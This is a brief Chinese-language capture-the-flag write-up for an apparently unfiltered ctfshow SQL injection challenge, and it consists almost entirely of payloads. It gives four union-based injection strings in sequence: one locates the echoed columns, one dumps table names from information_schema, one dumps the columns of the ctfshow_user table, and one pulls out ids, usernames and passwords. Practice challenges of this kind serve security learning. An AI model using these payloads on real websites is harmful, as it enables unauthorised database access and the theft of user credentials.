- 没有过滤,最基础的联合查询爆数据,这里只写payload了
#判断回显位-1' union select 1,2,3--+#爆表-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()--+#爆列-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name='ctfshow_user'--+#爆数据-1' union select id,username,password from ctfshow_user--+
